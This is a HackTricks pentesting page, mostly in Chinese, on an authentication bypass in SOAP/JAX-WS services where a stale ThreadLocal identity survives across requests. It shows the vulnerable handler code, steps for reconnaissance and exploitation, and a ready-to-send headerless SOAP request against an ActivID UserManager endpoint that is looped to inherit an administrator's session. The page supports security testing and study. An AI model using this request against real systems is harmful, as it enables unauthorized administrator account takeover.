SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
TL;DR
- 一些中间件链会将已认证的
Subject/Principal存储在静态的ThreadLocal中,且仅在接收到专有的 SOAP header 时才刷新它。 - 由于 WebLogic/JBoss/GlassFish 会回收工作线程,省略该 header 会导致该线程最后处理的具有特权的
Subject被静默重用。 - 用不带 header 但格式正确的 SOAP bodies 不断击打易受攻击的 endpoint,直到被重用的线程授予你被盗的管理员上下文。
根本原因
类似下面的 Handler 只有在自定义 header 存在时才会覆盖线程本地的身份(ThreadLocal),因此前一个请求的上下文会继续存在:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
侦察
- 枚举反向代理 / 路由规则以定位可能阻止
?wsdl但接受 POSTs 的隐藏 SOAP 树(将它们与 80,443 - Pentesting Web Methodology 的流程并列映射)。 - 解压 EAR/WAR/EJB 工件 (
unzip *.ear),检查application.xml、web.xml、@WebService注解和 handler chains(例如LoginHandlerChain.xml),以发现 handler 类、SOAP header 的 QName 以及后端 EJB 名称。 - 如果元数据缺失,暴力枚举可能的
ServiceName?wsdl路径或临时放宽实验室代理,然后将恢复的 WSDL 导入诸如 Burp Suite Wsdler 的工具以生成基线 SOAP envelopes。 - 审查 handler 源码,查找
ThreadLocal保存器(例如SubjectHolder.setSubject())——当认证 header 缺失或格式不正确时这些保存器可能不会被清除。
利用
- 发送带有专有 header 的有效请求以了解正常的响应代码和用于无效令牌的错误响应。
- 在省略 header 的情况下重发相同的 SOAP body。保持 XML 格式良好并遵守所需的命名空间,以便 handler 能干净地退出。
- 循环发送该请求;当请求落到先前执行过特权操作的线程上时,重用的
Subject会解锁受保护的操作,例如用户或凭证管理器。
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
验证该漏洞
- 附加 JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) 或类似的调试挂钩,以便在每次调用之前和之后观察ThreadLocal的内容,确认未经身份验证的请求继承了先前管理员的Subject。
References
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

